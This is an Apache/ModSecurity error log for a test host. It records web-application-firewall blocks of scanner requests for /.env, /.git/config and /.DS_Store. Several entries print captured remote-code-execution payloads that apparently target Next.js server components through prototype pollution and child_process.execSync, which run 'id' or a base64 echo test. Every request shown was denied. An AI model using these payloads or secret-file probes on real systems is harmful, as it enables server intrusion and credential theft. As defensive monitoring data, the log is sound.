[Thu Dec 11 21:05:09.469289 2025] [:error] [pid 661873] [client 157.173.118.27:47192] [client 157.173.118.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aTsj9bhRgKmcuSBY7TbC2AAAAAY"]
[Fri Dec 12 10:42:32.105328 2025] [authz_core:error] [pid 682428] [client 134.122.28.88:51772] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Dec 12 10:42:35.106814 2025] [:error] [pid 682476] [client 134.122.28.88:50504] [client 134.122.28.88] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTvji3_DTRHSKuyzIAr2OQAAAAc"]
[Fri Dec 12 10:42:35.107201 2025] [:error] [pid 682476] [client 134.122.28.88:50504] [client 134.122.28.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTvji3_DTRHSKuyzIAr2OQAAAAc"]
[Fri Dec 12 10:42:35.107416 2025] [:error] [pid 682476] [client 134.122.28.88:50504] [client 134.122.28.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTvji3_DTRHSKuyzIAr2OQAAAAc"]
[Fri Dec 12 10:42:36.124951 2025] [:error] [pid 682474] [client 134.122.28.88:50512] [client 134.122.28.88] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTvjjDXxTitIpsJr2R8f3gAAAAU"]
[Fri Dec 12 10:42:36.125225 2025] [:error] [pid 682474] [client 134.122.28.88:50512] [client 134.122.28.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTvjjDXxTitIpsJr2R8f3gAAAAU"]
[Fri Dec 12 10:42:36.125402 2025] [:error] [pid 682474] [client 134.122.28.88:50512] [client 134.122.28.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTvjjDXxTitIpsJr2R8f3gAAAAU"]
[Fri Dec 12 10:42:38.103576 2025] [:error] [pid 682428] [client 134.122.28.88:50522] [client 134.122.28.88] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTvjjg2Xx2kt-3hk5xYcTwAAAAQ"]
[Fri Dec 12 10:42:38.103840 2025] [:error] [pid 682428] [client 134.122.28.88:50522] [client 134.122.28.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTvjjg2Xx2kt-3hk5xYcTwAAAAQ"]
[Fri Dec 12 10:42:38.104024 2025] [:error] [pid 682428] [client 134.122.28.88:50522] [client 134.122.28.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTvjjg2Xx2kt-3hk5xYcTwAAAAQ"]
[Fri Dec 12 11:09:43.672905 2025] [authz_core:error] [pid 682476] [client 164.90.208.56:39972] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Dec 12 11:09:46.675053 2025] [:error] [pid 682428] [client 164.90.208.56:40002] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTvp6g2Xx2kt-3hk5xYcXgAAAAQ"]
[Fri Dec 12 11:09:46.675289 2025] [:error] [pid 682428] [client 164.90.208.56:40002] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTvp6g2Xx2kt-3hk5xYcXgAAAAQ"]
[Fri Dec 12 11:09:46.675461 2025] [:error] [pid 682428] [client 164.90.208.56:40002] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTvp6g2Xx2kt-3hk5xYcXgAAAAQ"]
[Fri Dec 12 11:09:47.677442 2025] [:error] [pid 682424] [client 164.90.208.56:40004] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTvp696uoboiGY3P06OTvQAAAAA"]
[Fri Dec 12 11:09:47.677686 2025] [:error] [pid 682424] [client 164.90.208.56:40004] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTvp696uoboiGY3P06OTvQAAAAA"]
[Fri Dec 12 11:09:47.677852 2025] [:error] [pid 682424] [client 164.90.208.56:40004] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTvp696uoboiGY3P06OTvQAAAAA"]
[Fri Dec 12 11:09:49.729040 2025] [:error] [pid 682474] [client 164.90.208.56:40014] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTvp7TXxTitIpsJr2R8f7QAAAAU"]
[Fri Dec 12 11:09:49.729278 2025] [:error] [pid 682474] [client 164.90.208.56:40014] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTvp7TXxTitIpsJr2R8f7QAAAAU"]
[Fri Dec 12 11:09:49.729447 2025] [:error] [pid 682474] [client 164.90.208.56:40014] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTvp7TXxTitIpsJr2R8f7QAAAAU"]
[Fri Dec 12 16:41:47.864743 2025] [:error] [pid 682427] [client 20.40.148.224:31105] [client 20.40.148.224] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(id).tostring().trim().replace(/n/g | ) throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aTw3u0j5I9VWsopFNR7qiAAAAAM"]
[Fri Dec 12 16:41:47.866146 2025] [:error] [pid 682427] [client 20.40.148.224:31105] [client 20.40.148.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aTw3u0j5I9VWsopFNR7qiAAAAAM"]
[Fri Dec 12 16:41:47.866326 2025] [:error] [pid 682427] [client 20.40.148.224:31105] [client 20.40.148.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aTw3u0j5I9VWsopFNR7qiAAAAAM"]
[Fri Dec 12 22:01:47.170721 2025] [:error] [pid 682474] [client 204.76.203.25:55062] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTyCuzXxTitIpsJr2R8gSwAAAAU"]
[Fri Dec 12 22:01:47.171065 2025] [:error] [pid 682474] [client 204.76.203.25:55062] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTyCuzXxTitIpsJr2R8gSwAAAAU"]
[Fri Dec 12 22:01:47.171261 2025] [:error] [pid 682474] [client 204.76.203.25:55062] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTyCuzXxTitIpsJr2R8gSwAAAAU"]
[Sat Dec 13 10:56:26.403595 2025] [:error] [pid 704180] [client 3.107.85.134:46402] [client 3.107.85.134] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT04SqmWKJxSpHIIfei53gAAAAQ"]
[Sat Dec 13 10:56:26.404156 2025] [:error] [pid 704180] [client 3.107.85.134:46402] [client 3.107.85.134] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT04SqmWKJxSpHIIfei53gAAAAQ"]
[Sat Dec 13 10:56:26.405207 2025] [:error] [pid 704180] [client 3.107.85.134:46402] [client 3.107.85.134] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT04SqmWKJxSpHIIfei53gAAAAQ"]
[Sat Dec 13 10:56:26.405394 2025] [:error] [pid 704180] [client 3.107.85.134:46402] [client 3.107.85.134] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT04SqmWKJxSpHIIfei53gAAAAQ"]
[Sat Dec 13 12:30:38.384819 2025] [:error] [pid 704176] [client 3.112.245.242:41198] [client 3.112.245.242] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT1OXtRuPxU8civBjUdQKQAAAAA"]
[Sat Dec 13 12:30:38.385349 2025] [:error] [pid 704176] [client 3.112.245.242:41198] [client 3.112.245.242] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT1OXtRuPxU8civBjUdQKQAAAAA"]
[Sat Dec 13 12:30:38.386318 2025] [:error] [pid 704176] [client 3.112.245.242:41198] [client 3.112.245.242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT1OXtRuPxU8civBjUdQKQAAAAA"]
[Sat Dec 13 12:30:38.386525 2025] [:error] [pid 704176] [client 3.112.245.242:41198] [client 3.112.245.242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT1OXtRuPxU8civBjUdQKQAAAAA"]
[Sat Dec 13 13:47:05.014569 2025] [:error] [pid 704179] [client 88.32.174.18:37304] [client 88.32.174.18] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(id).tostring().trim().replace(/n/g | ) throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aT1gSSDuuXJJBU7c_tq6BgAAAAM"]
[Sat Dec 13 13:47:05.015959 2025] [:error] [pid 704179] [client 88.32.174.18:37304] [client 88.32.174.18] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aT1gSSDuuXJJBU7c_tq6BgAAAAM"]
